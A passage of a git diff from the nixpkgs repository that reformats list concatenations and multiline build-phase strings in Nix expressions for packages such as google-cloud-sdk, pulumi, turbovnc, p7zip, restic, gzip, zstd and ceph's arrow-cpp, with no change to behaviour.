     platforms = lib.platforms.linux;
diff --git a/pkgs/tools/admin/google-cloud-sdk/components.nix b/pkgs/tools/admin/google-cloud-sdk/components.nix
index eed21e73c364..690afb80e5df 100644
--- a/pkgs/tools/admin/google-cloud-sdk/components.nix
+++ b/pkgs/tools/admin/google-cloud-sdk/components.nix
@@ -169,14 +169,13 @@ let
         # Write the snapshot file to the `.install` folder
         cp $snapshotPath $out/google-cloud-sdk/.install/${pname}.snapshot.json
       '';
-      nativeBuildInputs =
-        [
-          python3
-          stdenv.cc.cc
-        ]
-        ++ lib.optionals stdenv.hostPlatform.isLinux [
-          autoPatchelfHook
-        ];
+      nativeBuildInputs = [
+        python3
+        stdenv.cc.cc
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isLinux [
+        autoPatchelfHook
+      ];
       buildInputs = [
         libxcrypt-legacy
       ];
diff --git a/pkgs/tools/admin/google-cloud-sdk/withExtraComponents.nix b/pkgs/tools/admin/google-cloud-sdk/withExtraComponents.nix
index 29cdc6334f89..2e704194f69a 100644
--- a/pkgs/tools/admin/google-cloud-sdk/withExtraComponents.nix
+++ b/pkgs/tools/admin/google-cloud-sdk/withExtraComponents.nix
@@ -38,7 +38,8 @@ let
 
   comps = [
     google-cloud-sdk
-  ] ++ filterPreInstalled (findDepsRecursive (defaultComponents ++ comps_));
+  ]
+  ++ filterPreInstalled (findDepsRecursive (defaultComponents ++ comps_));
 
   installCheck =
     let
@@ -74,7 +75,8 @@ symlinkJoin {
 
   paths = [
     google-cloud-sdk
-  ] ++ comps;
+  ]
+  ++ comps;
 
   postBuild = ''
     sed -i ';' $out/google-cloud-sdk/bin/.gcloud-wrapped
diff --git a/pkgs/tools/admin/ibmcloud-cli/default.nix b/pkgs/tools/admin/ibmcloud-cli/default.nix
index 6aec2f7538dc..a201c700e4dd 100644
--- a/pkgs/tools/admin/ibmcloud-cli/default.nix
+++ b/pkgs/tools/admin/ibmcloud-cli/default.nix
@@ -76,7 +76,8 @@ stdenv.mkDerivation (finalAttrs: {
       "i686-linux"
       "powerpc64le-linux"
       "s390x-linux"
-    ] ++ lib.platforms.darwin;
+    ]
+    ++ lib.platforms.darwin;
     sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
     mainProgram = "ibmcloud";
   };
diff --git a/pkgs/tools/admin/pulumi-bin/default.nix b/pkgs/tools/admin/pulumi-bin/default.nix
index a67f2d7071df..d36e3afaa1d7 100644
--- a/pkgs/tools/admin/pulumi-bin/default.nix
+++ b/pkgs/tools/admin/pulumi-bin/default.nix
@@ -20,26 +20,26 @@ stdenv.mkDerivation {
 
   srcs = map fetchurl data.pulumiPkgs.${stdenv.hostPlatform.system};
 
-  installPhase =
-    ''
-      install -D -t $out/bin/ *
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      wrapProgram $out/bin/pulumi --set LD_LIBRARY_PATH "${lib.getLib stdenv.cc.cc}/lib"
-    ''
-    + ''
-      installShellCompletion --cmd pulumi \
-        --bash <($out/bin/pulumi completion bash) \
-        --fish <($out/bin/pulumi completion fish) \
-        --zsh  <($out/bin/pulumi completion zsh)
-    '';
+  installPhase = ''
+    install -D -t $out/bin/ *
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    wrapProgram $out/bin/pulumi --set LD_LIBRARY_PATH "${lib.getLib stdenv.cc.cc}/lib"
+  ''
+  + ''
+    installShellCompletion --cmd pulumi \
+      --bash <($out/bin/pulumi completion bash) \
+      --fish <($out/bin/pulumi completion fish) \
+      --zsh  <($out/bin/pulumi completion zsh)
+  '';
 
-  nativeBuildInputs =
-    [ installShellFiles ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      autoPatchelfHook
-      makeWrapper
-    ];
+  nativeBuildInputs = [
+    installShellFiles
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    autoPatchelfHook
+    makeWrapper
+  ];
   buildInputs = [ stdenv.cc.cc.libgcc or null ];
 
   meta = with lib; {
diff --git a/pkgs/tools/admin/turbovnc/default.nix b/pkgs/tools/admin/turbovnc/default.nix
index 6fa866e6bd11..f3eb1da09c3f 100644
--- a/pkgs/tools/admin/turbovnc/default.nix
+++ b/pkgs/tools/admin/turbovnc/default.nix
@@ -61,34 +61,33 @@ stdenv.mkDerivation (finalAttrs: {
     python3
   ];
 
-  buildInputs =
-    [
-      bzip2
-      dri-pkgconfig-stub
-      freetype
-      libGL # for -DTVNC_SYSTEMX11=1
-      libgbm
-      libjpeg_turbo
-      openssl
-      pam
-      perl
-      zlib
-    ]
-    ++ (with xorg; [
-      libfontenc # for -DTVNC_SYSTEMX11=1
-      libSM
-      libX11
-      libXdamage # for -DTVNC_SYSTEMX11=1
-      libXdmcp # for -DTVNC_SYSTEMX11=1
-      libXext
-      libXfont2 # for -DTVNC_SYSTEMX11=1
-      libxkbfile # for -DTVNC_SYSTEMX11=1
-      libXi
-      mesa-gl-headers # for -DTVNC_SYSTEMX11=1
-      pixman # for -DTVNC_SYSTEMX11=1
-      xorgproto
-      xtrans # for -DTVNC_SYSTEMX11=1
-    ]);
+  buildInputs = [
+    bzip2
+    dri-pkgconfig-stub
+    freetype
+    libGL # for -DTVNC_SYSTEMX11=1
+    libgbm
+    libjpeg_turbo
+    openssl
+    pam
+    perl
+    zlib
+  ]
+  ++ (with xorg; [
+    libfontenc # for -DTVNC_SYSTEMX11=1
+    libSM
+    libX11
+    libXdamage # for -DTVNC_SYSTEMX11=1
+    libXdmcp # for -DTVNC_SYSTEMX11=1
+    libXext
+    libXfont2 # for -DTVNC_SYSTEMX11=1
+    libxkbfile # for -DTVNC_SYSTEMX11=1
+    libXi
+    mesa-gl-headers # for -DTVNC_SYSTEMX11=1
+    pixman # for -DTVNC_SYSTEMX11=1
+    xorgproto
+    xtrans # for -DTVNC_SYSTEMX11=1
+  ]);
 
   postPatch = ''
     substituteInPlace unix/Xvnc/CMakeLists.txt --replace 'string(REGEX REPLACE "X11" "Xfont2" X11_Xfont2_LIB' 'set(X11_Xfont2_LIB ${xorg.libXfont2}/lib/libXfont2.so)  #'
diff --git a/pkgs/tools/archivers/p7zip/default.nix b/pkgs/tools/archivers/p7zip/default.nix
index 4dc99c56b0a0..0c7578b441df 100644
--- a/pkgs/tools/archivers/p7zip/default.nix
+++ b/pkgs/tools/archivers/p7zip/default.nix
@@ -30,30 +30,28 @@ stdenv.mkDerivation (finalAttrs: {
   };
 
   # Default makefile is full of impurities on Darwin. The patch doesn't hurt Linux so I'm leaving it unconditional
-  postPatch =
-    ''
-      sed -i '/CC=\/usr/d' makefile.macosx_llvm_64bits
-      # Avoid writing timestamps into compressed manpages
-      # to maintain determinism.
-      substituteInPlace install.sh --replace 'gzip' 'gzip -n'
-      chmod +x install.sh
+  postPatch = ''
+    sed -i '/CC=\/usr/d' makefile.macosx_llvm_64bits
+    # Avoid writing timestamps into compressed manpages
+    # to maintain determinism.
+    substituteInPlace install.sh --replace 'gzip' 'gzip -n'
+    chmod +x install.sh
 
-      # I think this is a typo and should be CXX? Either way let's kill it
-      sed -i '/XX=\/usr/d' makefile.macosx_llvm_64bits
-    ''
-    + lib.optionalString (stdenv.buildPlatform != stdenv.hostPlatform) ''
-      substituteInPlace makefile.machine \
-        --replace 'CC=gcc'  'CC=${stdenv.cc.targetPrefix}gcc' \
-        --replace 'CXX=g++' 'CXX=${stdenv.cc.targetPrefix}g++'
-    '';
+    # I think this is a typo and should be CXX? Either way let's kill it
+    sed -i '/XX=\/usr/d' makefile.macosx_llvm_64bits
+  ''
+  + lib.optionalString (stdenv.buildPlatform != stdenv.hostPlatform) ''
+    substituteInPlace makefile.machine \
+      --replace 'CC=gcc'  'CC=${stdenv.cc.targetPrefix}gcc' \
+      --replace 'CXX=g++' 'CXX=${stdenv.cc.targetPrefix}g++'
+  '';
 
-  preConfigure =
-    ''
-      buildFlags=all3
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      cp makefile.macosx_llvm_64bits makefile.machine
-    '';
+  preConfigure = ''
+    buildFlags=all3
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    cp makefile.macosx_llvm_64bits makefile.machine
+  '';
 
   enableParallelBuilding = true;
   env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.cc.isClang "-Wno-error=c++11-narrowing";
diff --git a/pkgs/tools/archivers/rar/default.nix b/pkgs/tools/archivers/rar/default.nix
index dedd67f20cd3..45794631b5b9 100644
--- a/pkgs/tools/archivers/rar/default.nix
+++ b/pkgs/tools/archivers/rar/default.nix
@@ -48,7 +48,8 @@ stdenv.mkDerivation {
 
   nativeBuildInputs = [
     installShellFiles
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/tools/archivers/unar/default.nix b/pkgs/tools/archivers/unar/default.nix
index 640849617f89..3bbd3f8e5509 100644
--- a/pkgs/tools/archivers/unar/default.nix
+++ b/pkgs/tools/archivers/unar/default.nix
@@ -33,31 +33,30 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  postPatch =
-    ''
-      substituteInPlace unar.m lsar.m \
-        --replace-fail "v1.10.7" "v${version}"
-    ''
-    + (
-      if stdenv.hostPlatform.isDarwin then
-        ''
-          substituteInPlace "./XADMaster.xcodeproj/project.pbxproj" \
-            --replace "libstdc++.6.dylib" "libc++.1.dylib"
-        ''
-      else
-        ''
-          for f in Makefile.linux ../UniversalDetector/Makefile.linux ; do
-            substituteInPlace $f \
-              --replace "= gcc" "=${stdenv.cc.targetPrefix}cc" \
-              --replace "= g++" "=${stdenv.cc.targetPrefix}c++" \
-              --replace "-DGNU_RUNTIME=1" "" \
-              --replace "-fgnu-runtime" "-fobjc-runtime=gnustep-2.0"
-          done
+  postPatch = ''
+    substituteInPlace unar.m lsar.m \
+      --replace-fail "v1.10.7" "v${version}"
+  ''
+  + (
+    if stdenv.hostPlatform.isDarwin then
+      ''
+        substituteInPlace "./XADMaster.xcodeproj/project.pbxproj" \
+          --replace "libstdc++.6.dylib" "libc++.1.dylib"
+      ''
+    else
+      ''
+        for f in Makefile.linux ../UniversalDetector/Makefile.linux ; do
+          substituteInPlace $f \
+            --replace "= gcc" "=${stdenv.cc.targetPrefix}cc" \
+            --replace "= g++" "=${stdenv.cc.targetPrefix}c++" \
+            --replace "-DGNU_RUNTIME=1" "" \
+            --replace "-fgnu-runtime" "-fobjc-runtime=gnustep-2.0"
+        done
 
-          # we need to build inside this directory as well, so we have to make it writeable
-          chmod +w ../UniversalDetector -R
-        ''
-    );
+        # we need to build inside this directory as well, so we have to make it writeable
+        chmod +w ../UniversalDetector -R
+      ''
+  );
 
   buildInputs = [
     bzip2
@@ -65,11 +64,13 @@ stdenv.mkDerivation rec {
     openssl
     wavpack
     zlib
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ gnustep-base ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ gnustep-base ];
 
   nativeBuildInputs = [
     installShellFiles
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcbuildHook ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcbuildHook ];
 
   xcbuildFlags = lib.optionals stdenv.hostPlatform.isDarwin [
     "-target unar"
diff --git a/pkgs/tools/archivers/zpaq/default.nix b/pkgs/tools/archivers/zpaq/default.nix
index af927a4a45de..776003a2591a 100644
--- a/pkgs/tools/archivers/zpaq/default.nix
+++ b/pkgs/tools/archivers/zpaq/default.nix
@@ -22,7 +22,8 @@ stdenv.mkDerivation rec {
 
   CPPFLAGS = [
     "-Dunix"
-  ] ++ lib.optional (!stdenv.hostPlatform.isi686 && !stdenv.hostPlatform.isx86_64) "-DNOJIT";
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isi686 && !stdenv.hostPlatform.isx86_64) "-DNOJIT";
   CXXFLAGS = [
     "-O3"
     "-DNDEBUG"
diff --git a/pkgs/tools/audio/beets/common.nix b/pkgs/tools/audio/beets/common.nix
index c914a44ef616..b73c416127f6 100644
--- a/pkgs/tools/audio/beets/common.nix
+++ b/pkgs/tools/audio/beets/common.nix
@@ -82,7 +82,8 @@ python3Packages.buildPythonApplication {
   pyproject = true;
 
   patches = [
-  ] ++ extraPatches;
+  ]
+  ++ extraPatches;
 
   build-system = [
     python3Packages.poetry-core
@@ -109,16 +110,16 @@ python3Packages.buildPythonApplication {
     gobject-introspection
     sphinxHook
     python3Packages.pydata-sphinx-theme
-  ] ++ extraNativeBuildInputs;
+  ]
+  ++ extraNativeBuildInputs;
 
-  buildInputs =
-    [
-    ]
-    ++ (with gst_all_1; [
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-ugly
-    ]);
+  buildInputs = [
+  ]
+  ++ (with gst_all_1; [
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-ugly
+  ]);
 
   outputs = [
     "out"
diff --git a/pkgs/tools/audio/beets/plugins/filetote.nix b/pkgs/tools/audio/beets/plugins/filetote.nix
index 34a6af769431..bd0f6357504c 100644
--- a/pkgs/tools/audio/beets/plugins/filetote.nix
+++ b/pkgs/tools/audio/beets/plugins/filetote.nix
@@ -70,7 +70,8 @@ python3Packages.buildPythonApplication rec {
   nativeCheckInputs = [
     python3Packages.pytestCheckHook
     writableTmpDirAsHomeHook
-  ] ++ optional-dependencies.test;
+  ]
+  ++ optional-dependencies.test;
 
   meta = with lib; {
     description = "Beets plugin to move non-music files during the import process";
diff --git a/pkgs/tools/backup/percona-xtrabackup/generic.nix b/pkgs/tools/backup/percona-xtrabackup/generic.nix
index 949f3773aee5..1460b5fa3387 100644
--- a/pkgs/tools/backup/percona-xtrabackup/generic.nix
+++ b/pkgs/tools/backup/percona-xtrabackup/generic.nix
@@ -52,31 +52,30 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      (curl.override { inherit openssl; })
-      cyrus_sasl
-      libaio
-      libedit
-      libevent
-      libev
-      libgcrypt
-      libgpg-error
-      lz4
-      ncurses
-      numactl
-      openssl
-      procps
-      protobuf
-      valgrind
-      xxd
-      zlib
-    ]
-    ++ (with perlPackages; [
-      perl
-      DBI
-      DBDmysql
-    ]);
+  buildInputs = [
+    (curl.override { inherit openssl; })
+    cyrus_sasl
+    libaio
+    libedit
+    libevent
+    libev
+    libgcrypt
+    libgpg-error
+    lz4
+    ncurses
+    numactl
+    openssl
+    procps
+    protobuf
+    valgrind
+    xxd
+    zlib
+  ]
+  ++ (with perlPackages; [
+    perl
+    DBI
+    DBDmysql
+  ]);
 
   patches = extraPatches;
 
@@ -97,12 +96,11 @@ stdenv.mkDerivation (finalAttrs: {
     "-DWITH_MAN_PAGES=OFF"
   ];
 
-  postInstall =
-    ''
-      wrapProgram "$out"/bin/xtrabackup --prefix PERL5LIB : $PERL5LIB
-      rm -r "$out"/lib/plugin/debug
-    ''
-    + extraPostInstall;
+  postInstall = ''
+    wrapProgram "$out"/bin/xtrabackup --prefix PERL5LIB : $PERL5LIB
+    rm -r "$out"/lib/plugin/debug
+  ''
+  + extraPostInstall;
 
   passthru.mysqlVersion = lib.versions.majorMinor finalAttrs.version;
 
diff --git a/pkgs/tools/backup/restic/default.nix b/pkgs/tools/backup/restic/default.nix
index 1580c2c247fd..795389d734b2 100644
--- a/pkgs/tools/backup/restic/default.nix
+++ b/pkgs/tools/backup/restic/default.nix
@@ -45,19 +45,18 @@ buildGoModule rec {
     rm cmd/restic/cmd_mount_integration_test.go
   '';
 
-  postInstall =
-    ''
-      wrapProgram $out/bin/restic --prefix PATH : '${rclone}/bin'
-    ''
-    + lib.optionalString (stdenv.hostPlatform == stdenv.buildPlatform) ''
-      $out/bin/restic generate \
-        --bash-completion restic.bash \
-        --fish-completion restic.fish \
-        --zsh-completion restic.zsh \
-        --man .
-      installShellCompletion restic.{bash,fish,zsh}
-      installManPage *.1
-    '';
+  postInstall = ''
+    wrapProgram $out/bin/restic --prefix PATH : '${rclone}/bin'
+  ''
+  + lib.optionalString (stdenv.hostPlatform == stdenv.buildPlatform) ''
+    $out/bin/restic generate \
+      --bash-completion restic.bash \
+      --fish-completion restic.fish \
+      --zsh-completion restic.zsh \
+      --man .
+    installShellCompletion restic.{bash,fish,zsh}
+    installManPage *.1
+  '';
 
   meta = with lib; {
     homepage = "https://restic.net";
diff --git a/pkgs/tools/compression/bzip3/default.nix b/pkgs/tools/compression/bzip3/default.nix
index de47bfbf4461..9447ee19fb5b 100644
--- a/pkgs/tools/compression/bzip3/default.nix
+++ b/pkgs/tools/compression/bzip3/default.nix
@@ -39,7 +39,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   configureFlags = [
     "--disable-arch-native"
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "--disable-link-time-optimization" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "--disable-link-time-optimization" ];
 
   passthru.tests.pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage;
 
diff --git a/pkgs/tools/compression/gzip/default.nix b/pkgs/tools/compression/gzip/default.nix
index 866ce808d4f3..2f3ce88b99e3 100644
--- a/pkgs/tools/compression/gzip/default.nix
+++ b/pkgs/tools/compression/gzip/default.nix
@@ -48,18 +48,17 @@ stdenv.mkDerivation rec {
   # executables being in $PATH.  Rather than try to re-write all the
   # internal cross-references, just add $out/bin to PATH at the top of
   # all the executables that are shell scripts.
-  preFixup =
-    ''
-      sed -i '1{;/#!\/bin\/sh/aPATH="'$out'/bin:$PATH"
-      }' $out/bin/*
-    ''
-    # run gzip with "-n" when $GZIP_NO_TIMESTAMPS (set by stdenv's setup.sh) is set to stop gzip from adding timestamps
-    # to archive headers: https://github.com/NixOS/nixpkgs/issues/86348
-    # if changing so that there's no longer a .gzip-wrapped then update copy in make-bootstrap-tools.nix
-    + ''
-      wrapProgram $out/bin/gzip \
-        --add-flags "\''${GZIP_NO_TIMESTAMPS:+-n}"
-    '';
+  preFixup = ''
+    sed -i '1{;/#!\/bin\/sh/aPATH="'$out'/bin:$PATH"
+    }' $out/bin/*
+  ''
+  # run gzip with "-n" when $GZIP_NO_TIMESTAMPS (set by stdenv's setup.sh) is set to stop gzip from adding timestamps
+  # to archive headers: https://github.com/NixOS/nixpkgs/issues/86348
+  # if changing so that there's no longer a .gzip-wrapped then update copy in make-bootstrap-tools.nix
+  + ''
+    wrapProgram $out/bin/gzip \
+      --add-flags "\''${GZIP_NO_TIMESTAMPS:+-n}"
+  '';
 
   meta = {
     homepage = "https://www.gnu.org/software/gzip/";
diff --git a/pkgs/tools/compression/zstd/default.nix b/pkgs/tools/compression/zstd/default.nix
index 373e196d40ae..98c0dcfb6713 100644
--- a/pkgs/tools/compression/zstd/default.nix
+++ b/pkgs/tools/compression/zstd/default.nix
@@ -92,32 +92,30 @@ stdenv.mkDerivation rec {
     runHook postCheck
   '';
 
-  preInstall =
-    ''
-      mkdir -p $bin/bin
-      substituteInPlace ../programs/zstdgrep \
-        --replace ":-grep" ":-${gnugrep}/bin/grep" \
-        --replace ":-zstdcat" ":-$bin/bin/zstdcat"
+  preInstall = ''
+    mkdir -p $bin/bin
+    substituteInPlace ../programs/zstdgrep \
+      --replace ":-grep" ":-${gnugrep}/bin/grep" \
+      --replace ":-zstdcat" ":-$bin/bin/zstdcat"
 
-      substituteInPlace ../programs/zstdless \
-        --replace "zstdcat" "$bin/bin/zstdcat"
+    substituteInPlace ../programs/zstdless \
+      --replace "zstdcat" "$bin/bin/zstdcat"
+  ''
+  + lib.optionalString buildContrib (
     ''
-    + lib.optionalString buildContrib (
-      ''
-        cp contrib/pzstd/pzstd $bin/bin/pzstd
-      ''
-      + lib.optionalString stdenv.hostPlatform.isDarwin ''
-        install_name_tool -change @rpath/libzstd.1.dylib $out/lib/libzstd.1.dylib $bin/bin/pzstd
-      ''
-    );
+      cp contrib/pzstd/pzstd $bin/bin/pzstd
+    ''
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      install_name_tool -change @rpath/libzstd.1.dylib $out/lib/libzstd.1.dylib $bin/bin/pzstd
+    ''
+  );
 
-  outputs =
-    [
-      "bin"
-      "dev"
-    ]
-    ++ lib.optional stdenv.hostPlatform.isUnix "man"
-    ++ [ "out" ];
+  outputs = [
+    "bin"
+    "dev"
+  ]
+  ++ lib.optional stdenv.hostPlatform.isUnix "man"
+  ++ [ "out" ];
 
   passthru = {
     updateScript = nix-update-script { };
diff --git a/pkgs/tools/filesystems/ceph/arrow-cpp-19.nix b/pkgs/tools/filesystems/ceph/arrow-cpp-19.nix
index 1750d98bb0ff..d39d01245588 100644
--- a/pkgs/tools/filesystems/ceph/arrow-cpp-19.nix
+++ b/pkgs/tools/filesystems/ceph/arrow-cpp-19.nix
@@ -139,45 +139,45 @@ stdenv.mkDerivation (finalAttrs: {
     ninja
     autoconf # for vendored jemalloc
     flatbuffers
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
-  buildInputs =
-    [
-      boost
-      brotli
-      bzip2
-      flatbuffers
-      gflags
-      glog
-      gtest
-      libbacktrace
-      lz4
-      nlohmann_json # alternative JSON parser to rapidjson
-      protobuf # substrait requires protobuf
-      rapidjson
-      re2
-      snappy
-      thrift
-      utf8proc
-      zlib
-      zstd
-    ]
-    ++ lib.optionals enableFlight [
-      grpc
-      openssl
-      protobuf
-      sqlite
-    ]
-    ++ lib.optionals enableS3 [
-      aws-sdk-cpp-arrow
-      openssl
-    ]
-    ++ lib.optionals enableGcs [
-      crc32c
-      curl
-      google-cloud-cpp
-      grpc
-      nlohmann_json
-    ];
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
+  buildInputs = [
+    boost
+    brotli
+    bzip2
+    flatbuffers
+    gflags
+    glog
+    gtest
+    libbacktrace
+    lz4
+    nlohmann_json # alternative JSON parser to rapidjson
+    protobuf # substrait requires protobuf
+    rapidjson
+    re2
+    snappy
+    thrift
+    utf8proc
+    zlib
+    zstd
+  ]
+  ++ lib.optionals enableFlight [
+    grpc
+    openssl
+    protobuf
+    sqlite
+  ]
+  ++ lib.optionals enableS3 [
+    aws-sdk-cpp-arrow
+    openssl
+  ]
+  ++ lib.optionals enableGcs [
+    crc32c
+    curl
+    google-cloud-cpp
+    grpc
+    nlohmann_json
+  ];
 
   preConfigure = ''
     patchShebangs build-support/
@@ -185,57 +185,56 @@ stdenv.mkDerivation (finalAttrs: {
       --replace-fail 'discover_tz_dir();' '"${tzdata}/share/zoneinfo";'
   '';
 
-  cmakeFlags =
-    [
-      "-DCMAKE_FIND_PACKAGE_PREFER_CONFIG=ON"
-      "-DARROW_BUILD_SHARED=${if enableShared then "ON" else "OFF"}"
-      "-DARROW_BUILD_STATIC=${if enableShared then "OFF" else "ON"}"
-      "-DARROW_BUILD_TESTS=${if enableShared then "ON" else "OFF"}"
-      "-DARROW_BUILD_INTEGRATION=ON"
-      "-DARROW_BUILD_UTILITIES=ON"
-      "-DARROW_EXTRA_ERROR_CONTEXT=ON"
-      "-DARROW_VERBOSE_THIRDPARTY_BUILD=ON"
-      "-DARROW_DEPENDENCY_SOURCE=SYSTEM"
-      "-Dxsimd_SOURCE=AUTO"
-      "-DARROW_DEPENDENCY_USE_SHARED=${if enableShared then "ON" else "OFF"}"
-      "-DARROW_COMPUTE=ON"
-      "-DARROW_CSV=ON"
-      "-DARROW_DATASET=ON"
-      "-DARROW_FILESYSTEM=ON"
-      "-DARROW_FLIGHT_SQL=${if enableFlight then "ON" else "OFF"}"
-      "-DARROW_HDFS=ON"
-      "-DARROW_IPC=ON"
-      "-DARROW_JEMALLOC=${if enableJemalloc then "ON" else "OFF"}"
-      "-DARROW_JSON=ON"
-      "-DARROW_USE_GLOG=ON"
-      "-DARROW_WITH_BACKTRACE=ON"
-      "-DARROW_WITH_BROTLI=ON"
-      "-DARROW_WITH_BZ2=ON"
-      "-DARROW_WITH_LZ4=ON"
-      "-DARROW_WITH_NLOHMANN_JSON=ON"
-      "-DARROW_WITH_SNAPPY=ON"
-      "-DARROW_WITH_UTF8PROC=ON"
-      "-DARROW_WITH_ZLIB=ON"
-      "-DARROW_WITH_ZSTD=ON"
-      "-DARROW_MIMALLOC=ON"
-      "-DARROW_SUBSTRAIT=ON"
-      "-DARROW_FLIGHT=${if enableFlight then "ON" else "OFF"}"
-      "-DARROW_FLIGHT_TESTING=${if enableFlight then "ON" else "OFF"}"
-      "-DARROW_S3=${if enableS3 then "ON" else "OFF"}"
-      "-DARROW_GCS=${if enableGcs then "ON" else "OFF"}"
-      # Parquet options:
-      "-DARROW_PARQUET=ON"
-      "-DPARQUET_BUILD_EXECUTABLES=ON"
-      "-DPARQUET_REQUIRE_ENCRYPTION=ON"
-    ]
-    ++ lib.optionals (!enableShared) [ "-DARROW_TEST_LINKAGE=static" ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-DCMAKE_INSTALL_RPATH=@loader_path/../lib" # needed for tools executables
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isx86_64) [ "-DARROW_USE_SIMD=OFF" ]
-    ++ lib.optionals enableS3 [
-      "-DAWSSDK_CORE_HEADER_FILE=${aws-sdk-cpp-arrow}/include/aws/core/Aws.h"
-    ];
+  cmakeFlags = [
+    "-DCMAKE_FIND_PACKAGE_PREFER_CONFIG=ON"
+    "-DARROW_BUILD_SHARED=${if enableShared then "ON" else "OFF"}"
+    "-DARROW_BUILD_STATIC=${if enableShared then "OFF" else "ON"}"
+    "-DARROW_BUILD_TESTS=${if enableShared then "ON" else "OFF"}"
+    "-DARROW_BUILD_INTEGRATION=ON"
+    "-DARROW_BUILD_UTILITIES=ON"
+    "-DARROW_EXTRA_ERROR_CONTEXT=ON"
+    "-DARROW_VERBOSE_THIRDPARTY_BUILD=ON"
+    "-DARROW_DEPENDENCY_SOURCE=SYSTEM"
+    "-Dxsimd_SOURCE=AUTO"
+    "-DARROW_DEPENDENCY_USE_SHARED=${if enableShared then "ON" else "OFF"}"
+    "-DARROW_COMPUTE=ON"
+    "-DARROW_CSV=ON"
+    "-DARROW_DATASET=ON"
+    "-DARROW_FILESYSTEM=ON"
+    "-DARROW_FLIGHT_SQL=${if enableFlight then "ON" else "OFF"}"
+    "-DARROW_HDFS=ON"
+    "-DARROW_IPC=ON"
+    "-DARROW_JEMALLOC=${if enableJemalloc then "ON" else "OFF"}"
+    "-DARROW_JSON=ON"
+    "-DARROW_USE_GLOG=ON"
+    "-DARROW_WITH_BACKTRACE=ON"
+    "-DARROW_WITH_BROTLI=ON"
+    "-DARROW_WITH_BZ2=ON"
+    "-DARROW_WITH_LZ4=ON"
+    "-DARROW_WITH_NLOHMANN_JSON=ON"
+    "-DARROW_WITH_SNAPPY=ON"
+    "-DARROW_WITH_UTF8PROC=ON"
+    "-DARROW_WITH_ZLIB=ON"
+    "-DARROW_WITH_ZSTD=ON"
+    "-DARROW_MIMALLOC=ON"
+    "-DARROW_SUBSTRAIT=ON"
+    "-DARROW_FLIGHT=${if enableFlight then "ON" else "OFF"}"
+    "-DARROW_FLIGHT_TESTING=${if enableFlight then "ON" else "OFF"}"
+    "-DARROW_S3=${if enableS3 then "ON" else "OFF"}"
+    "-DARROW_GCS=${if enableGcs then "ON" else "OFF"}"
+    # Parquet options:
+    "-DARROW_PARQUET=ON"
+    "-DPARQUET_BUILD_EXECUTABLES=ON"
+    "-DPARQUET_REQUIRE_ENCRYPTION=ON"
+  ]
+  ++ lib.optionals (!enableShared) [ "-DARROW_TEST_LINKAGE=static" ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-DCMAKE_INSTALL_RPATH=@loader_path/../lib" # needed for tools executables
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isx86_64) [ "-DARROW_USE_SIMD=OFF" ]
+  ++ lib.optionals enableS3 [
+    "-DAWSSDK_CORE_HEADER_FILE=${aws-sdk-cpp-arrow}/include/aws/core/Aws.h"
+  ];
 
   doInstallCheck = true;
   ARROW_TEST_DATA = lib.optionalString finalAttrs.doInstallCheck "${arrow-testing}/data";
@@ -270,14 +269,13 @@ stdenv.mkDerivation (finalAttrs: {
 
   __darwinAllowLocalNetworking = true;
 
-  nativeInstallCheckInputs =
-    [
-      perl
-      which
-      sqlite
-    ]
-    ++ lib.optionals enableS3 [ minio ]
-    ++ lib.optionals enableFlight [ python3 ];
+  nativeInstallCheckInputs = [
+    perl
+    which
+    sqlite
+  ]
+  ++ lib.optionals enableS3 [ minio ]
+  ++ lib.optionals enableFlight [ python3 ];
 
   installCheckPhase =
     let
diff --git a/pkgs/tools/filesystems/ceph/default.nix b/pkgs/tools/filesystems/ceph/default.nix
index ecfa6e205bd0..b8aa3a1b9d61 100644
--- a/pkgs/tools/filesystems/ceph/default.nix
+++ b/pkgs/tools/filesystems/ceph/default.nix
@@ -555,7 +555,8 @@ rec {
       "-DWITH_MGR_DASHBOARD_FRONTEND:BOOL=OFF"
       # WITH_XFS has been set default ON from Ceph 16, keeping it optional in nixpkgs for now
       ''-DWITH_XFS=${if optLibxfs != null then "ON" else "OFF"}''
-    ] ++ lib.optional stdenv.hostPlatform.isLinux "-DWITH_SYSTEM_LIBURING=ON";
+    ]
+    ++ lib.optional stdenv.hostPlatform.isLinux "-DWITH_SYSTEM_LIBURING=ON";
 
     preBuild =
       # The legacy-option-headers target is not correctly empbedded in the build graph.
diff --git a/pkgs/tools/filesystems/ceph/old-python-packages/cryptography.nix b/pkgs/tools/filesystems/ceph/old-python-packages/cryptography.nix
index 30ae24b57afc..381f3e6424d5 100644
